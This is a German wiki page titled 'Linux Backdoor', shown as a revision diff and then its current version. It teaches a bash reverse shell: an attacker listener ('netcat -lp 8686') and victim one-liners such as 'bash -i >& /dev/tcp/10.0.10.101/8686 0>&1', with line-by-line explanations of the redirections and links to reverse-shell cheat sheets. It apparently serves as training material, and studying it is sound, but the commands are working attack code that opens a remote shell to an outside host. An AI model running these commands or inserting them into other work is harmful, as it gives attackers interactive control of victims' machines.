Linux Backdoor: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(10 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 6: Zeile 6:
 
*bash -i >& /dev/tcp/10.0.10.101/8686 0>&1
 
*bash -i >& /dev/tcp/10.0.10.101/8686 0>&1
 
==Für mich besser lesbar==
 
==Für mich besser lesbar==
*bash -i > /dev/tcp/10.0.10.101/8686 2>&1 0>&1
+
*bash -i 1> /dev/tcp/10.0.10.101/8686 2>&1 0>&1
  
=bash -i=
+
Standardausgabe wird an den Socket gehängt
öffnet eine interaktive Shell
 
  
=&>=
+
Standardfehler wird an die Standardausgabe angehängt
leitet die Standardausgabe und den Fehler auf den Socket um, der für die IP 10.0.10.101 geöffnet ist, die auf Port 8686 lauschen würde
+
 
=0>&1=  
+
Standardeingabe wird an die Standardausgabe angehängt
Man kann es auch 0<&1 schreiben. Dies würde buchstäblich bedeuten, dass "0" an "1" angehängt ist, was bedeutet, dass stdin an stdout angehängt ist, und aus Punkt 2 wissen wir, dass die stdin für diesen Bash-Prozess für den Angreifer verfügbar ist, der Port 8686 abhört.
+
 
=Prinzip=
+
==bash -i > /dev/tcp/10.0.10.101/8686==
{{#drawio:backdoor1}}
+
Öffnet eine interaktive Shell und leitet die Standardausgabe den den Socket zu 10.0.10.101:8686
 +
==2>&1==
 +
Legt den Fehlerkanal zum Standardausgabekanal
 +
==0>&1==  
 +
Legt den Standardeingabekanal zum Standardausgabekanal
  
 
=Links=
 
=Links=
 
*http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
 
*http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
 +
*https://www.revshells.com/

Aktuelle Version vom 5. März 2024, 13:11 Uhr

Angreifer

IP Angreifer 10.0.10.101

  • netcat -lp 8686

Opfer

So findet man es im Internet

  • bash -i >& /dev/tcp/10.0.10.101/8686 0>&1

Für mich besser lesbar

  • bash -i 1> /dev/tcp/10.0.10.101/8686 2>&1 0>&1

Standardausgabe wird an den Socket gehängt

Standardfehler wird an die Standardausgabe angehängt

Standardeingabe wird an die Standardausgabe angehängt

bash -i > /dev/tcp/10.0.10.101/8686

Öffnet eine interaktive Shell und leitet die Standardausgabe den den Socket zu 10.0.10.101:8686

2>&1

Legt den Fehlerkanal zum Standardausgabekanal

0>&1

Legt den Standardeingabekanal zum Standardausgabekanal

Links